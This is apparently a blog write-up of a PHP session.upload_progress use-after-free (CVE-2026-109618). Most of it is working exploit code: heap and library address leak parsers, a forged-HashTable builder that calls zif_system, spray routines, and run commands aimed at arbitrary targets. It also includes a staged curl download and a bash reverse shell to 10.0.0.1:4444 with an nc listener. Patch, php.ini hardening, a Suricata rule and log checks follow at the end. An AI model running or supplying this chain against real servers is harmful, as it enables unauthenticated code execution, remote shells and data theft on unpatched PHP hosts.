Salta ai contenuti
Seleziona tema

CVE-2026-109618: PHP session.upload_progress heap UAF to RCE

Questi contenuti non sono ancora disponibili nella tua lingua.

A heap use-after-free in PHP’s session.upload_progress handler turns three plain HTTP POST requests into pre-auth remote code execution. The bug sits in ext/session/session.c and has been there since PHP 5.4 (2012), when session.upload_progress was introduced as a default-on feature. No credentials are needed, no working upload endpoint is needed: any page that calls session_start() is enough. The exploit leaks the heap and libphp.so bases from the same bug class (dangling pointers bleeding through Set-Cookie), forges a 167-byte HashTable whose destructor points to zif_system, and lets PHP’s own cleanup execute an arbitrary command.

This write-up walks through the full chain: the Zend Engine internals that make it possible, every stage of the exploit, the byte-level payload layout, how to run it, how to adapt it to other PHP builds, and how to detect and stop it.

Branch Vulnerable Patched in Status
8.5 < 8.5.12 8.5.12 Fixed
8.4 < 8.4.27 8.4.27 Fixed
8.3 < 8.3.36 8.3.36 Fixed
8.2 < 8.2.35 8.2.35 Fixed
<= 8.1 All None End of life, no fix planned

The fix is two lines of C: set the cached zval pointers to NULL after the session HashTable is freed, so the RFC1867 callback never dereferences a dangling reference.

Before looking at the bug, three PHP internals matter: how values are stored (zval), how collections are stored (HashTable), and how the heap is managed (Zend MM). These are the building blocks the exploit manipulates.

Every PHP value is represented internally as a zval (Zend value). It is a 16-byte struct:

Zend/zend_types.h (simplified)
typedef struct _zval_struct {
zend_value value; // 8 bytes: union (long, double, pointer to string/array/object)
union {
uint32_t type_info; // IS_LONG, IS_STRING, IS_ARRAY, IS_REFERENCE, ...
} u1;
union {
uint32_t next; // hash collision chain
} u2;
} zval; // total: 16 bytes

The type_info field tells PHP what the value union actually holds. IS_STRING (6) means value is a pointer to a zend_string. IS_ARRAY (7) means it points to a HashTable. IS_REFERENCE (10) means it points to a zend_reference, which wraps another zval. The exploit forges zvals with controlled type_info and value fields to redirect PHP’s internal cleanup routines.

PHP arrays, session data, function tables, symbol tables, and class properties are all HashTables internally. The structure is 56 bytes:

Zend/zend_types.h (simplified)
typedef struct _HashTable {
zend_refcounted_h gc; // 0x00: refcount + type_info (8 bytes)
uint32_t u_flags; // 0x08: internal flags
uint32_t nTableMask; // 0x0C: hash mask (always -(nTableSize))
Bucket *arData; // 0x10: pointer to the array of buckets
uint32_t nNumUsed; // 0x18: slots used (including deleted)
uint32_t nNumOfElements; // 0x1C: live elements
uint32_t nTableSize; // 0x20: allocated slots (power of 2)
uint32_t nInternalPointer; // 0x24: iteration cursor
zend_long nNextFreeElement; // 0x28: next integer key
dtor_func_t pDestructor; // 0x30: cleanup function pointer (8 bytes)
} HashTable; // total: 56 bytes (0x38)

The critical field is pDestructor at offset 0x30. When PHP destroys a HashTable (via zend_hash_destroy), it iterates every bucket and calls pDestructor(&bucket->val) on each one. Normally this points to zval_ptr_dtor, which decrements the refcount and frees the value. The exploit overwrites it with zif_system (the internal C function behind PHP’s system()), so cleanup executes a shell command instead of freeing memory.

Each bucket is 32 bytes:

Zend/zend_types.h
typedef struct _Bucket {
zval val; // 0x00: the value (16 bytes)
zend_ulong h; // 0x10: hash of the key (8 bytes)
zend_string *key; // 0x18: string key, or NULL for integer keys (8 bytes)
} Bucket; // total: 32 bytes (0x20)

When pDestructor is called, it receives a pointer to bucket->val. If val is a string, the pointer chains down to the zend_string, and the string’s val field (the actual character data) is what zif_system sees as the command argument. This is how 14 bytes of inline text become an execve argument.

Zend/zend_types.h
typedef struct _zend_string {
zend_refcounted_h gc; // 0x00: refcount + type_info (8 bytes)
zend_ulong h; // 0x08: precomputed hash (8 bytes)
size_t len; // 0x10: byte length (8 bytes)
char val[1]; // 0x18: the actual bytes, NUL-terminated
} zend_string; // header: 24 bytes (0x18), then len+1 bytes of data

The val array is allocated inline right after the header. In the forged payload, the command string (e.g. id>/out/p1) sits at offset 0x98 of the 167-byte buffer, which is exactly 0x18 bytes into the fake zend_string that starts at 0x80.

PHP’s Zend Memory Manager (Zend MM) manages heap allocations for each request. It carves the heap into 2 MB chunks (ZEND_MM_CHUNK_SIZE = 0x200000). Within each chunk, memory is handed out as pages (4 KB) and small slots (8 to 3072 bytes, in size classes).

Key properties for exploitation:

  • Per-request lifecycle. Allocations made during a request are freed when the request ends. The memory is returned to the chunk’s freelist, not to the OS.
  • LIFO freelist. Freed slots go to the head of a per-size freelist. The next allocation of the same size class reclaims the most recently freed slot. This is what makes heap spraying predictable.
  • Chunk alignment. Every chunk is 2 MB-aligned. If you know any pointer inside a chunk, masking the low 21 bits (& ~0x1FFFFF) gives the chunk base. The exploit uses this to derive the heap base from leaked pointers.
  • Worker reuse. Apache prefork reuses worker processes across requests. Freed slots from request N are still on the freelist when request N+1 arrives on the same worker. A dangling pointer from request N now points at whatever request N+1 placed in that slot.

php_session_rfc1867_callback in ext/session/session.c implements the session.upload_progress feature. It is called by the multipart parser during file uploads to update progress information in $_SESSION. The callback caches two raw zval * pointers directly into the session’s live HashTable:

ext/session/session.c (simplified)
static int php_session_rfc1867_callback(
unsigned int event, void *event_data, void **extra
) {
/* PHP looks up the upload progress array in the session */
zval *progress = zend_hash_find(&PS(http_session_vars), "upload_progress");
/* Saves RAW POINTERS from the per-request rfc1867 data struct */
zval *bytes = &data->post_bytes_processed;
zval *file_bytes = &data->current_file_bytes_processed;
/* Inserts them into the session HashTable as if they were persistent */
zend_hash_update(ht, "bytes_processed", bytes);
zend_hash_update(ht, "current_file_bytes_processed", file_bytes);
/* ^^^^^^^^^^
* These zvals live in per-REQUEST memory (the rfc1867_data struct).
* When the request ends -> this memory is freed.
* But the POINTERS in the session HashTable survive across requests
* because the session persists in the worker's memory.
*/
}

The bug: bytes and file_bytes point into the rfc1867_data struct, which is allocated per-request. When the request ends (or when an OOM error aborts it), PHP frees the rfc1867_data memory via zval_ptr_dtor. But the session HashTable still holds the old pointers. They are never set to NULL. They become dangling pointers.

The exploit does not wait for the request to end normally. It forces an immediate free by triggering an out-of-memory fatal error. The multipart body includes a 12 MB field (b"\x42" * (12 << 20)), but the target’s memory_limit is 8 MB. When PHP tries to allocate buffer space for this field, it hits the limit:

  1. PHP raises E_ERROR (fatal): “Allowed memory size exhausted”
  2. The error handler runs shutdown functions and destroys per-request allocations
  3. zval_ptr_dtor is called on the rfc1867_data struct, freeing the zvals
  4. The session HashTable is not rebuilt; it still holds the stale pointers
  5. The session is serialized and written to disk with the dangling references intact

On the next request to the same worker, session_start() deserializes the session. The stale pointers are now live again, pointing at heap memory that has been freed and can be reclaimed by the new request’s allocations.

Apache with prefork MPM forks a pool of single-threaded worker processes. Each worker handles one request at a time, then waits for the next:

Apache prefork worker reuse
Request 1 -> Worker A (PID 1234) -> Response -> Worker A is idle
Request 2 -> Worker B (PID 1235) -> Response -> Worker B is idle
Request 3 -> Worker A (PID 1234) -> Response <- same process, same heap

This gives the exploit two properties it needs:

  1. State persistence. The session file (with its dangling pointers) survives between requests. When the same worker picks up the next request and calls session_start(), the freed pointers are deserialized back into memory.
  2. Deterministic heap layout. Single-threaded workers allocate memory in the same sequence every time. After a fresh worker fork (triggered by crashing the old one with OOM), the heap layout is predictable. The exploit knows exactly which offset within the 2 MB chunk will hold the freed zval, so it can place the forged HashTable there.

Multi-threaded MPMs (event, worker) interleave allocations from concurrent requests, making the heap layout non-deterministic. This breaks the exploit’s ability to predict where the spray data lands.

The exploit (exploit.py) runs four stages. Stage 0 prepares the environment; stages 1 through 3 are the actual attack. Each stage is a separate HTTP POST request (or a pair of requests) to the same Apache worker.

Before anything else, the exploit needs a fresh worker with a clean, predictable heap. It kills the current worker by sending a request with 1001 multipart fields (exceeding max_input_vars = 1000) plus the 12 MB OOM payload. The combined load crashes the worker. Apache forks a replacement with a virgin heap.

exploit.py - worker rotation
def rotate(self):
# 1001 fields + OOM payload -> crash the current worker
parts = [(f"f{i:04d}"[:5], b"V" * 3000) for i in range(1001)]
parts += [("PHPSESSID", b"\x00"),
("PHP_SESSION_UPLOAD_PROGRESS", _PROG),
self._filepart(), ("big", self.oom)] # self.oom = 12 MB of 0x42
self.s.post(_mp_body(parts, _BND_PREP), _BND_PREP, tout=90)
# Establish a session on the fresh worker
parts2 = [("PHPSESSID", SESS),
("PHP_SESSION_UPLOAD_PROGRESS", _PROG)]
self.s.post(_mp_body(parts2, _BND_ROT2), _BND_ROT2, cap=65536, tout=20)

After rotation, the fresh worker has a known session ID (pocsessid0000000001) and a predictable heap state.

Stage 1: leaking the heap base (ASLR bypass, part 1)

Section titled “Stage 1: leaking the heap base (ASLR bypass, part 1)”

The exploit needs two absolute addresses to build the payload: the heap chunk base (to calculate where the forged HashTable will land) and the libphp.so base (to calculate the address of zif_system). Linux ASLR randomizes both on every process fork.

The same use-after-free provides the information leak. Here is what happens:

  1. The exploit sends a “preparation” request: 1001 small multipart fields to fill the heap with known-size allocations, followed by the PHP_SESSION_UPLOAD_PROGRESS field (to activate the vulnerable callback) and the 12 MB OOM bomb.
  2. PHP processes the multipart body, caches the zval * pointers in the session, then hits the OOM. The error handler frees the per-request memory, but the session ID pointer PS(id) is also a dangling reference now.
  3. PHP tries to send the response with Set-Cookie: PHPSESSID=<value>. But PS(id) points at freed memory. The freed slot now contains whatever was there before: raw heap data including pointers. PHP URL-encodes these bytes and sends them in the cookie header.

The exploit sends a second request on the same worker with carefully sized fields (841 fields of 48 bytes each for the bookworm preset) to massage the heap into a state where the leaked cookie contains recognizable heap pointers.

exploit.py - heap base extraction
_HEAP_LO = 0x500000000000
_HEAP_HI = 0x800000000000
_CHUNK_MASK = ~0x1FFFFF # 2 MB alignment mask
def _heap_base(ck):
"""Extract the heap base from the leaked Set-Cookie value."""
if len(ck) < 100:
return 0
freq: Counter[int] = Counter()
for i in range(len(ck) - 8):
# Interpret every 8-byte window as a little-endian pointer
v = int.from_bytes(ck[i:i+8], "little")
# Filter: must be in Linux userspace heap range
if _HEAP_LO <= v < _HEAP_HI:
# Align to 2 MB chunk boundary
freq[v & _CHUNK_MASK] += 1
if not freq:
return 0
base, hits = freq.most_common(1)[0]
# Require at least 3 hits for confidence
if hits < 3:
return 0
# Verify 2 MB alignment
if base & 0x1FFFFF:
return 0
return base

The logic: scan the raw leaked bytes with a sliding 8-byte window, interpret each window as a 64-bit little-endian pointer, check if it falls in the typical Linux mmap/heap range (0x500000000000 to 0x800000000000), mask the low 21 bits to align to the 2 MB Zend MM chunk boundary. The most frequently occurring aligned value is the chunk base. Requiring 3+ hits filters out noise. Any pointer within the chunk gives the same base because every allocation in that chunk shares the same 2 MB-aligned start address.

Stage 2: leaking the libphp base (ASLR bypass, part 2)

Section titled “Stage 2: leaking the libphp base (ASLR bypass, part 2)”

The second leak extracts a code pointer from the same OOM-triggered cookie. When the session HashTable is destroyed during the OOM cleanup, its pDestructor field (which holds the address of zval_ptr_dtor inside libphp.so) is left in freed memory. The next request’s Set-Cookie header leaks this pointer too.

The offset of zval_ptr_dtor within libphp.so is fixed for a given build (it does not change between runs, only between compilations). Subtracting the known offset from the leaked address yields the library’s base address. With the base known, the address of any other symbol (including zif_system) is a constant addition.

exploit.py - libphp base extraction
def _libphp_base(ck, dtor_offset):
"""Find the base of libphp.so from the leaked pDestructor pointer."""
# The destructor pointer is at bytes 8-16 of the leaked cookie
p = int.from_bytes(ck[8:16], "little")
# Sanity: must be in the expected address range
if not (_HEAP_LO <= p < _HEAP_HI):
return 0
# Verify: the low 12 bits (page offset) must match
# the known offset of zval_ptr_dtor within its page
if p & 0xFFF != dtor_offset & 0xFFF:
return 0 # wrong pointer, not zval_ptr_dtor
# Subtract the known offset -> library base
base = p - dtor_offset
# Base must be page-aligned (4 KB)
if base & 0xFFF:
return 0
return base

The page-offset check (& 0xFFF) is a quick validation: ASLR randomizes the base at page granularity (4 KB), so the low 12 bits of any symbol’s runtime address always match its offset within the binary. If they do not match, this is not the zval_ptr_dtor pointer and the exploit retries.

For the bookworm preset (php:8.4.26-apache-bookworm), the offsets are:

exploit.py - preset offsets
_PRESETS = {
"bookworm": {
"zif": 0x45A3B0, # offset of zif_system in libphp.so
"dtor": 0x64EB60, # offset of zval_ptr_dtor in libphp.so
"htoff": 0x690D8, # heap offset where the forged HT lands
"s1n": 841, # number of spray fields for stage 1
"s2i": 406, # index of the oversized field for stage 2
"s2v": 16, # value size for stage 2 spray
"pads": [(31, 31)] * 6, # padding field sizes for stage 3
"carrier": True, # use carrier-based delivery
},
}

Stage 3: the forged HashTable and code execution

Section titled “Stage 3: the forged HashTable and code execution”

With both addresses known, the exploit builds a 167-byte fake HashTable and sprays it into the freed heap slot. The core idea: replace pDestructor (normally zval_ptr_dtor) with zif_system, and embed the command string inline as a fake zend_string. When PHP calls zend_hash_destroy during session cleanup, it walks the buckets and calls pDestructor(&bucket->val) on each one. With the forged table, that call becomes zif_system("id>/out/p1").

The 167-byte payload packs three structures into a single contiguous buffer:

Offset Size Structure Content
0x00-0x07 8 HashTable.gc refcount=1, type_info=IS_ARRAY (7)
0x08-0x0B 4 HashTable.u_flags 0x10
0x0C-0x0F 4 HashTable.nTableMask 0xFFFFFFF8
0x10-0x17 8 HashTable.arData -> self + 0x20 (points to Bucket[0] below)
0x18-0x1B 4 HashTable.nNumUsed 1
0x1C-0x1F 4 HashTable.nNumOfElements 1
0x20-0x23 4 HashTable.nTableSize 8
0x24-0x27 4 HashTable.nInternalPointer 0
0x28-0x2F 8 HashTable.nNextFreeElement 0
0x30-0x37 8 HashTable.pDestructor -> zif_system
0x38-0x3F 8 (padding / HT tail) 0
0x40-0x4F 16 Bucket[0].val (zval) value=0, type_info=0
0x50-0x57 8 Bucket[0].h zif_system address (hash field)
0x58-0x5F 8 Bucket[0].key NULL (integer key)
0x60-0x6F 16 Fake zval padding
0x70-0x77 8 Fake zval value -> zend_string at 0x80
0x78-0x7B 4 Fake zval type_info IS_STRING (6)
0x7C-0x7F 4 (padding) 0
0x80-0x87 8 zend_string.gc refcount=1, type_info=0x106
0x88-0x8F 8 zend_string.h 0 (hash, unused)
0x90-0x97 8 zend_string.len length of command
0x98-0xA6 15 zend_string.val command bytes + NUL (max 14 chars)

The arData pointer at 0x10 points to self + 0x20, which is where the fake Bucket starts. This makes the HashTable self-contained: the bucket array is inside the same 167-byte buffer, not at a separate allocation. The zend_string at 0x80 is also inline. Everything the cleanup routine needs to follow the pointer chain is in one contiguous block.

exploit.py - _forge()
def _forge(addr: int, zif: int, cmd: bytes) -> tuple[bytes, bytes]:
"""Build fake HashTable (167 B) + fake IS_REFERENCE (55 B).
addr: absolute address where this buffer will land on the heap
zif: absolute address of zif_system in libphp.so
cmd: command bytes (max 14)
"""
assert len(cmd) <= 14
ht = bytearray(167)
# --- HashTable header (0x00-0x37) ---
struct.pack_into("<II", ht, 0x00, 1, 7) # gc: refcount=1, IS_ARRAY
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8) # u_flags, nTableMask
struct.pack_into("<Q", ht, 0x10, addr + 0x20) # arData -> Bucket[0]
struct.pack_into("<II", ht, 0x18, 1, 1) # nNumUsed=1, nNumOfElements=1
struct.pack_into("<II", ht, 0x20, 8, 0) # nTableSize=8, nInternalPointer=0
struct.pack_into("<Q", ht, 0x28, 0) # nNextFreeElement
struct.pack_into("<Q", ht, 0x30, zif) # pDestructor -> zif_system
# --- Bucket[0] + fake zval chain (0x40-0x7F) ---
o = 0x20
struct.pack_into("<Q", ht, o + 0x00, 0) # Bucket.val.value
struct.pack_into("<Q", ht, o + 0x08, 0) # Bucket.val.u1 + u2
struct.pack_into("<Q", ht, o + 0x10, zif) # Bucket.h (hash)
struct.pack_into("<Q", ht, o + 0x18, 0) # Bucket.key = NULL
# ... padding fields ...
struct.pack_into("<Q", ht, o + 0x50, addr + 0x80) # -> zend_string
struct.pack_into("<I", ht, o + 0x58, 6) # IS_STRING type tag
# --- zend_string at 0x80 (command carrier) ---
struct.pack_into("<II", ht, 0x80, 1, 0x106) # gc: refcount=1, type_info
struct.pack_into("<Q", ht, 0x88, 0) # hash (unused)
struct.pack_into("<Q", ht, 0x90, len(cmd)) # string length
ht[0x98:0x98 + len(cmd)] = cmd # command bytes
ht[0x98 + len(cmd)] = 0 # NUL terminator
# --- IS_REFERENCE wrapper (55 B) ---
ref = bytearray(b"\x58" * 55)
struct.pack_into("<II", ref, 0x10, 1, 10) # gc: refcount=1, IS_REFERENCE
struct.pack_into("<Q", ref, 0x18, addr) # -> fake HashTable
struct.pack_into("<Q", ref, 0x20, 0x307)
struct.pack_into("<Q", ref, 0x28, 0)
return bytes(ht), bytes(ref)

The addr parameter is the absolute heap address where the spray will place this buffer. The exploit calculates it as heap_base + htoff (for bookworm: heap_base + 0x690D8). Every pointer inside the payload is an absolute address derived from addr (for internal references) or libphp_base + offset (for zif_system).

The forged payload is delivered via multipart field spray: 15 copies of the 167-byte HashTable buffer, each as the value of a multipart form field. The exploit also sends a carrier byte sequence that helps position the reference wrapper at the right offset:

exploit.py - stage 3 fire
def fire(self, htaddr: int, zif: int):
# Preparation: OOM the worker to free the target slot
parts = [("PHPSESSID", b"a" * 19),
("PHP_SESSION_UPLOAD_PROGRESS", b"p" * 3)]
for i, (nl, vl) in enumerate(self.p["pads"]):
parts.append((name, b"V" * vl))
parts += [self._filepart(), ("big", self.oom)]
self.s.post(_mp_body(parts, _BND_PREP), _BND_PREP, tout=90)
# Spray: 15 copies of the forged HashTable
ht, ref = _forge(htaddr, zif, self.cmd)
parts2 = [("PHPSESSID", SESS),
("PHP_SESSION_UPLOAD_PROGRESS", _PROG)]
# Carrier byte (positions the IS_REFERENCE at the right offset)
cb = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htaddr)[:7]
for i in range(2):
parts2.append((f"f{i:02d}", b"F" * 15))
parts2.append(("g00", cb))
# 15x spray of the 167-byte forged HashTable
for i in range(15):
parts2.append((f"a{i:030d}"[:31], ht))
self.s.post(_mp_body(parts2, _BND_LEAK), _BND_LEAK, cap=65536, tout=30)

When this request is processed, the multipart parser allocates memory for each field value. Due to the LIFO freelist and the deterministic heap, one of the 15 copies lands in the exact slot that the dangling pointer references. PHP’s session cleanup then walks this forged HashTable, calls zif_system as the destructor, and executes the command.

What happens inside PHP
session_destroy()
-> zend_hash_destroy(session_ht)
-> for each bucket in session_ht->arData:
session_ht->pDestructor(&bucket->val)
Normally: pDestructor = zval_ptr_dtor -> frees the value
Forged: pDestructor = zif_system -> system("id>/out/p1")
^
bucket->val is a fake zval pointing to
a fake zend_string whose val[] = "id>/out/p1\0"
Clone and run
git clone https://github.com/vitalelele/CVE-2026-109618-PoC.git
cd CVE-2026-109618-PoC
docker compose up --build

This creates two containers:

Container Image Role Config
target php:8.4.26-apache-bookworm Vulnerable PHP/Apache prefork MPM, display_errors=On, memory_limit=8M, max_input_vars=1000, session.upload_progress.enabled=1, port 8080
exploit python:3-slim Exploit runner network alias e, auto-runs the chain, shares out/ volume for proof files

The vulnerable endpoint is a single line:

target/index.php
<?php
session_start();
echo "OK";

No file upload logic needed. session_start() alone activates the vulnerable code path because session.upload_progress.enabled is on by default.

The target’s Apache configuration limits the worker pool to 5 processes (MaxRequestWorkers 5, ServerLimit 5). This makes worker rotation reliable: the exploit can crash all workers and get a fresh one with a known heap layout.

Start only the target, run the exploit from your machine:

Start the target
docker compose up -d target
# Wait for the healthcheck to pass
docker compose ps # target should show "healthy"
Run the exploit
python3 exploit.py -t http://127.0.0.1:8080/index.php --proof-file out/p1
Expected output
+ Auto-selected preset 'bookworm' for PHP/8.4.26
· RTT 1ms - timing scale 1.0x
[1/3] Heap base leak
+ Heap base - 0x729635000000
[2/3] libphp base leak
+ libphp - 0x7296352f3000
[3/3] Code execution
+ RCE confirmed (attempt 1)
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Verify
cat out/p1
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

The exploit auto-detects the PHP version from the X-Powered-By response header and selects a matching preset. The adaptive timing system measures network RTT across 3 probes and scales all sleeps proportionally (timing_scale = max(1.0, rtt / 0.05)).

Requirement Why Default?
Apache prefork MPM Single-threaded workers: deterministic heap, state persists across requests Often default on Debian/Ubuntu
session.upload_progress.enabled = 1 Activates the vulnerable callback Yes (PHP default)
display_errors = On Leak channel: uninitialised bytes bleed into Set-Cookie On in development, Off in production
memory_limit < 12 MB The target must OOM before consuming the full payload 128M default (too high, must be lowered)

Exploitation: custom commands and beyond 14 bytes

Section titled “Exploitation: custom commands and beyond 14 bytes”

The -c flag runs any command up to 14 bytes:

Custom commands
# Default: id, output to shared volume
python3 exploit.py -t http://127.0.0.1:8080/index.php --proof-file out/p1
# List the web root
python3 exploit.py -t http://127.0.0.1:8080/index.php -c 'ls>/out/p1' --proof-file out/p1
# Touch a file (exactly 14 bytes)
python3 exploit.py -t http://127.0.0.1:8080/index.php -c 'touch /tmp/pwn'
# Read proof via HTTP instead of shared volume
python3 exploit.py -t http://127.0.0.1:8080/index.php -c 'id>/tmp/x' --fetch /tmp/x

The command is embedded in the zend_string.val field at offset 0x98 of the 167-byte payload. The buffer ends at byte 166 (0xA6), so 0xA6 - 0x98 = 14 bytes maximum (plus the NUL terminator at byte 15). Any command longer than 14 bytes overflows the buffer and corrupts the heap in unpredictable ways.

Byte budget for the stager command
c u r l H O S T - o s \0
1 2 3 4 5 . . . . . . . 14
"curl " = 5 bytes (with trailing space)
" -os" = 4 bytes (flags: output to file "s")
HOST = 14 - 5 - 4 = 5 bytes maximum

5 bytes for a hostname is not much. 10.0.0.1 is already 8 characters. But most network tools (curl, wget, ping) support abbreviated IPv4 notation, where omitted middle octets are filled with zeros:

Notation Expands to Bytes Fits?
10.1 10.0.0.1 4 Yes
10.2 10.0.0.2 4 Yes
172.1 172.0.0.1 5 Yes
a.co (DNS) 4 Yes
x.io (DNS) 4 Yes
192.168.1 192.168.0.1 9 No

This limits the stager to: 10.x subnets, very short domains, or a DNS alias on the target’s internal network. In the Docker lab, the exploit container has the network alias e (1 byte), making curl e -os only 12 bytes.

The stager breaks the 14-byte limit by executing two exploit runs back-to-back: one to download a script, one to execute it.

Step 1: attacker-side setup

Attacker machine
# Write a reverse shell payload to a file named "s"
echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' > s
# Serve it on port 80
python3 -m http.server 80 &
# Start the listener
nc -lvnp 4444

Step 2: fire the two shots

Exploit - stage 1: download
# "curl 10.1 -os" = 14 bytes (10.1 expands to 10.0.0.1)
# Downloads the payload from the attacker and saves it as "s" in the web root
python3 exploit.py -t http://<target>/index.php -c 'curl 10.1 -os'
Exploit - stage 2: execute
# "bash s" = 6 bytes
python3 exploit.py -t http://<target>/index.php -c 'bash s'

Step 3: catch the shell

Attacker machine - reverse shell lands
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.0.1] from (UNKNOWN) [10.0.0.50] 48234
www-data@webserver:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@webserver:/var/www/html$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
www-data@webserver:/var/www/html$ uname -a
Linux webserver 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 x86_64 GNU/Linux

The exploit automates the two-shot process with --stager and --revshell:

--stager: any command, no length limit
# Internally: starts HTTP server -> fires "curl e -os" -> fires "sh s"
python3 exploit.py -t http://<target>/index.php \
--stager 'cat /etc/passwd > /out/p1' \
--lhost e \
--proof-file /out/p1
--revshell: bash reverse shell shortcut
# Generates: bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
python3 exploit.py -t http://<target>/index.php \
--revshell 10.0.0.1:4444 \
--lhost e

The --lhost parameter must be reachable from the target and must fit in the byte budget (5 characters max on port 80, fewer if --lport is specified because the port number takes space: curl HOST:PORT -os).

Structured output
python3 exploit.py -t http://<target>/index.php --json -q
JSON result
{
"target": "http://target/index.php",
"preset": "bookworm",
"cmd": "id>/out/p1",
"heap": "0x729635000000",
"libphp": "0x7296352f3000",
"htaddr": "0x7296350690d8",
"zif_system": "0x72963574d3b0",
"proof": "uid=33(www-data) gid=33(www-data) groups=33(www-data)",
"attempts": 1
}

The exploit ships offsets for php:8.4.26-apache-bookworm. Different PHP builds have different symbol positions. Targeting another build requires two values from libphp.so:

Symbol What it is How to find it
zif_system C function behind system() objdump -t libphp.so | grep 'zif_system$' (local symbol, not in nm -D)
zval_ptr_dtor Default HashTable destructor nm -D libphp.so | grep 'zval_ptr_dtor$' (global/exported)
From a running Docker container
./calibrate.sh cve-2026-109618-target
Output
· Copying libphp.so from container 'cve-2026-109618-target'...
· Found at /usr/lib/apache2/modules/libphp.so
· Extracting offsets
+ zif_system = 0x45A3B0
+ zval_ptr_dtor = 0x64EB60
+ PHP version = 8.4.26
# Paste into _PRESETS in exploit.py:
"8_4_26": {
"zif": 0x45A3B0, "dtor": 0x64EB60, "htoff": 0x690D8,
"s1n": 841, "s2i": 406, "s2v": 16,
"pads": [(31, 31)] * 6, "carrier": True,
},
Extract from a local libphp.so
# zif_system: LOCAL symbol, use objdump -t (not nm -D)
objdump -t libphp.so | grep 'zif_system$'
# 000000000045a3b0 l F .text 00000000000000c5 zif_system
# zval_ptr_dtor: GLOBAL symbol, nm -D works
nm -D libphp.so | grep 'zval_ptr_dtor$'
# 000000000064eb60 T zval_ptr_dtor

The heap-layout parameters (htoff, s1n, s2i, s2v, pads, carrier) depend on the allocator’s runtime behaviour and vary between builds. Start with the bookworm values. If leaks fail consistently (the cookie is too short or contains no valid pointers), adjust s1n (number of spray fields for stage 1) and s2i (index of the oversized field for stage 2) empirically.

exploit.py --help
Core:
-t, --target URL Target URL (e.g. http://host:8080/index.php)
-c, --cmd CMD Command to execute, max 14 bytes (default: id>/out/p1)
-p, --preset PRESET Build preset: bookworm | lab | auto (default: auto)
Proof of execution:
--proof-file PATH Local file to read as proof (e.g. out/p1)
--fetch PATH HTTP path on target to GET as proof
Tuning:
--oom MB OOM payload size in MB (default: 12)
--retries N Retries per stage (default: 15)
--skip-rotate Skip initial worker rotation
--no-retry-rotate Don't rotate between retries
Output:
-q, --quiet Suppress informational output
--json Structured JSON result on stdout
Stager (commands > 14 bytes):
--stager CMD Full command to stage and execute
--revshell IP:PORT Stage a bash reverse shell
--lhost HOST Hostname/IP reachable from target
--lport PORT Staging server port (default: 80)

The only complete fix is updating to a patched version (8.2.35+, 8.3.36+, 8.4.27+, 8.5.12+). The patch adds two lines that set the cached zval * pointers to NULL after the session HashTable is freed.

Workarounds (if you cannot patch immediately)

Section titled “Workarounds (if you cannot patch immediately)”

Listed in order of effectiveness:

Workaround What it does Residual risk
session.upload_progress.enabled = 0 Disables the entire vulnerable callback None for this CVE (the code path is never reached)
display_errors = Off Blocks the information leak in Set-Cookie UAF still exists; a different leak primitive or brute-force on 32-bit could bypass
Switch to event/worker MPM Multi-threaded workers break heap determinism UAF still exists; exploitation becomes probabilistic but not impossible
WAF: block PHP_SESSION_UPLOAD_PROGRESS in POST bodies Prevents the callback from being triggered Easily bypassed by encoding or chunked transfer
php.ini - recommended hardening
; Disable the vulnerable feature entirely
session.upload_progress.enabled = 0
; Never display errors in production (should already be off)
display_errors = Off
; Raise memory_limit above the OOM payload (default 128M is fine)
; This does not fix the bug but prevents the OOM trigger
memory_limit = 128M

The exploit has distinct network signatures that can be detected at the WAF/IDS level:

Multipart body with PHP_SESSION_UPLOAD_PROGRESS and oversized payload:

Suricata rule
alert http any any -> $HOME_NET any (
msg:"CVE-2026-109618 PHP session upload_progress UAF attempt";
flow:to_server,established;
content:"PHP_SESSION_UPLOAD_PROGRESS"; nocase;
content:"multipart/form-data"; nocase;
http.request_body; content:"|42 42 42 42 42 42 42 42|";
threshold:type both, track by_src, count 3, seconds 60;
classtype:web-application-attack;
sid:2026109618; rev:1;
)

Log-based detection (Apache access log):

Look for a pattern of POST requests to the same endpoint with:

  • Abnormally large Content-Length (> 10 MB for a page that should not receive large uploads)
  • Multiple rapid requests from the same source IP within seconds
  • HTTP 500 responses (OOM errors) followed by successful requests
Quick log grep
# Look for OOM-sized POSTs followed by successful requests
grep -P 'POST.*\s50[0-9]\s' /var/log/apache2/access.log | \
awk '{print $1, $4, $7, $9}' | sort

PHP error log indicators:

Patterns in PHP error log
Fatal error: Allowed memory size of 8388608 bytes exhausted

Repeated OOM errors from the same endpoint, especially with multipart requests, are a strong indicator. Normal uploads do not cause OOM against an 8 MB limit unless the application is misconfigured.

If the exploit has already run, look for:

  • Files named s in the web root (/var/www/html/s) or /tmp/ (stager payload)
  • Unexpected files in /out/ or /tmp/ with names like p1 (proof files)
  • www-data processes running shell commands (visible in ps aux or process accounting)
  • Outbound connections from www-data to unusual ports (reverse shell callbacks)
Date Event
Jul 2026 Bug reported to security@php.net with full technical details and PoC
Aug 2026 Confirmed by the PHP security team; patch development begins
Sep 2026 Patches released for PHP 8.2, 8.3, 8.4, 8.5. CVE-2026-109618 and CVE-2026-109619 assigned
Oct 2026 Public PoC released after patch adoption window

Two CVEs were assigned: CVE-2026-109618 covers the use-after-free in php_session_rfc1867_callback, and CVE-2026-109619 covers the related information leak through Set-Cookie. Both are fixed by the same patch.

The original research and PoC by @enes_dev demonstrated the vulnerability and the basic exploit chain. My fork adds:

  • Auto-detection of PHP version from X-Powered-By and automatic preset selection
  • Adaptive timing that calibrates sleeps to network RTT (works across LAN and WAN)
  • Two-shot stager with built-in HTTP server for commands longer than 14 bytes
  • --revshell flag that automates the full reverse shell chain in one invocation
  • calibrate.sh to extract offsets from any PHP build (container or local .so)
  • JSON output for scripting and pipeline integration
  • Self-contained Docker lab with healthchecks and shared proof volumes

1999 parole, circa 10 min di lettura